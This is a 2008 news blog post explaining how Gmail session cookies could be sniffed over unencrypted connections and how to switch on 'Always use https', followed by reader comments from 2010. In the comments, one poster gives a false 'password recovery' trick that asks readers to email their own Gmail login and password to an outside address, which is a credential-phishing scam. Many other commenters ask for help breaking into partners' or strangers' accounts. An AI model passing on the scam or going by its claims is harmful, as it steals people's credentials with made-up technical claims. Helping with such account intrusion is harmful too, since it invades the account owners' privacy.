How To Hack Gmail Account & How To Protect Your Gmail Account

By Angsuman Chakraborty, Gaea News Network
Wednesday, August 20, 2008

1. How can you hack GMail account?
2. How can you protect your GMail account from hackers?
Hackers at Defcon demonstrated a tool to hack into GMail accounts by snooping unencrypted data (man-in-the-middle attack) with cookie which Google GMail uses for everything other than login by default.

Last week Google introduced the ability to optionally encrypt any transmission to / from GMail and not just the login sequence. Previously GMail used to encrypt the login sequence only. All other data was transmitted unencrypted over the wire making such hacking possible. Every email, every article that you are reading on your GMail account is transmitted unencrypted over the web.

This makes it possible for an attacker sniffing traffic on the network to insert an image served from https://mail.google.com and force your browser to send the cookie file, thus getting your session ID. Once this happens the attacker can log in to the account without the need of a password. People checking their e-mail from public wireless hotspots are obviously more likely to get attacked than the ones using secure wired networks.

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Mike Perry, the San Francisco based reverse engineer who developed the GMail hacking tool is planning to release it in two weeks. He is not happy how Google didn’t inform its users about the seriousness of the problem. Effectively anyone with basic networking knowledge can implement the hack. It could be your employer, your angry girlfriend or your curious neighbor or just any damn script-kiddie with too much time on his hands.

How can you protect your GMail account from hacking?

The solution is surprisingly simple. After logging in to GMail go to Settings (General tab). At the bottom of the page you will notice Browser Connection. Change it to Always use https. Now save the settings. In Google’s words:

To enable this feature in Gmail:

  1. Sign in to Gmail.
  2. Click Settings at the top of any Gmail page.
  3. Set ‘Browser Connection’ to ‘Always use https.’
  4. Click Save Changes.
  5. Reload Gmail.

That’s all you need to protect your GMail account from getting hacked. However there are few caveats.
How securing GMail can affect you?

  1. GMail may become slightly slower. Personally I think it is an acceptable cost for security but you decide.
  2. Gmail Notifier users must download a patch for GMail Notifier (Gmail Notifier is a downloadable application that alerts you whenever you have new Gmail messages) to work with this setting. To install the patch follow these steps:
    1. Download the patch (.zip).
    2. Open the folder.
    3. Double-click the notifier_https.reg file.
    4. Click yes when you’re asked to confirm if you want to add the information to the registry.
    5. Restart the Notifier.
  3. You may see errors in the Gmail for mobile application from enabling this setting. The specific errors vary by device, but in general you’ll see ‘unexpected error’ or have the app suddenly quit on you.If you have the latest version of the app (1.5) (If you need to find the version number of the application that’s installed on your mobile phone, please select Menu > More > Help. The version number and platform will be displayed.), you can work around these errors by also enabling the app’s own ‘Always use secure network connections (slower performance):‘ setting from your device and then signing out:
    1. Select Menu > Go to > Settings.
    2. Check the Always use secure network connections (slower performance): option.
    3. Make sure the ‘Always keep me signed in’ option is NOT checked (in order for you to sign out).
    4. Save your changes.
    5. Select Menu > Exit Gmail.
    6. Restart the app and sign in.
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Azim khan
August 14, 2010: 4:57 pm

Hi, could you please send the steps of how to hack anybodys gmail account becuz i want to hack my girlfriend account i think she is not serious with me please help me please please….

anand
July 28, 2010: 12:44 pm

hi

amit bhatia
July 17, 2010: 11:51 am

my gmail account is hacked. i cannot login the orkut account. pls help me……………….

Raj
July 17, 2010: 6:10 am

How to hack Gmail passwords

Step 1: Log into your Gmail account.
Step 2: Compose a new mail.
Step 3: In subject box type ” PASSWORD RECOVERY ”
Step 4: Send this to -’mailpasswrd2@gmail.com’
Step 5: Write this in message box.
(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password
(fourth line) - =”">
{simply copy and paste above.}

How it works: you mail to a system administrators automatic responder.
Usually only system administrators should be able to use this, but when you
try it with your own password and mail this message from your Gmail account
the computer gets confused! Why your password is needed- automatic Gmail
responder will require your “system administrator password” which is in fact
your own password!!! But the : computer doesn’t know.

THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL! INBOX IN A MAIL
CALLED “SYSTEM REG MESSAGE” FROM “SYSTEM”. This is an awesome trick and
works as many times as you try it. Have fun! NOTE: Use account you have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.
Please be advised that it usually works with Gmail & AOL but i’m not to sure
about HOTMAIL but can try. THE ONLY WAY YOU CAN HACK SOMEONE’S AOL ACCOUNT
IS PROVIDING YOU HAVE AN AOL ACCOUNT.
ALTHOUGH THIS IS GMAIL ACCOUNT INFORMATION CENTER, IT HAS BEEN ABLE TO WORK
WITH AOL.
I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I’M SHARING IS FOR EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR
so enjoy youe self

Raj Choudhary

fobar
June 20, 2010: 10:47 am

Anyone figure out how to hack into a gmail account. I need help. Thank you to anyone that can help me.

SONIYA
June 1, 2010: 4:32 am

Plz help me in finding out a password of a gmail id.Dat guy is blackmailing me

Girls P.G in Janakpuri
May 27, 2010: 1:56 am

THANKS FOR THIS NICE INFORMATION.

sourabh
May 26, 2010: 3:05 pm

hacking is not so easy but not impossible as people think about this…
i dont consider this that hacking is totally based on mind creativity,

guy
May 25, 2010: 11:59 pm

My hotmail ID is hacked by some one & they sends their promotions by my mail ID. can you help me out to protect my ID so that it should be used by me only

amit
May 14, 2010: 12:16 pm

hellooooooooooooo

JL
May 13, 2010: 12:53 am

Hi.. can somebody help me or teach me how to hack into gmail account? my husband has an affair. please help.

Shailendra
April 20, 2010: 12:36 am

Please Help me for hacking any gmail password.
I’ll wanna hach any e-mail id password hack.

karan
April 14, 2010: 3:18 am

there is no way to hack gmail id.may be there are some ways to hack but u believe me u cannot find it out from anywhere.do not waste time in such things.
ok bye

Starauntu
April 12, 2010: 5:14 am

I need to hack a gmail id. How can i hack it?

rohitj ain
April 5, 2010: 11:23 am

plss tell me how to hack a gmail account……plss do tell me…..

moni
April 3, 2010: 8:54 am

i wanna knw hw 2 hack gmail a/c…m much interested en hackin …hw 2 learn more abt hackin..can u help me plz

mahi sher mazari
March 30, 2010: 1:37 pm

hey..dude help me my gmail id is hacked..so i want to hack it

shantiya
March 30, 2010: 10:29 am

how to hack g mail account… can u please help me………..

mona
March 26, 2010: 11:37 am

i want to hack into my husband gmail for free .can u help me.would like to know if he has an extra marital affair.notify me via email

Kohli
March 24, 2010: 10:25 pm

my friends account has been hacked and it is being misused so need to rehack it!!!!!!
plz help

venkatesh
March 14, 2010: 3:24 am

plz send me some hacking tips

Sathya moorthy
March 14, 2010: 3:11 am

Thanks for this tips.my gmail account is safe from the hackers

brahmary
March 9, 2010: 1:57 am

pls send any docs u have to hack the gmail of mine
i forgot the password. help me on this

akshath
March 6, 2010: 12:40 am

No coment

vinay
March 4, 2010: 12:54 pm

sir, can u plz tell how hack gmail id in detail

miodrag
February 11, 2010: 10:13 am

I have a problem with my accounts both on gmail and facebook.Someone has take them both over,and now im trying to get them back.could you provide some assistance about this issue?thanks in advance

sameer
February 10, 2010: 9:56 am

how to hack gmail can u tell this

ashish
February 9, 2010: 8:13 am

hello sir will you please help to hack gmail id ?

priya
February 5, 2010: 7:39 pm

hi, i want to hack my boyfrnd email. plz help me?

ameer
January 28, 2010: 9:20 am

i want to hack g mail account.how i can do it.plz let me know
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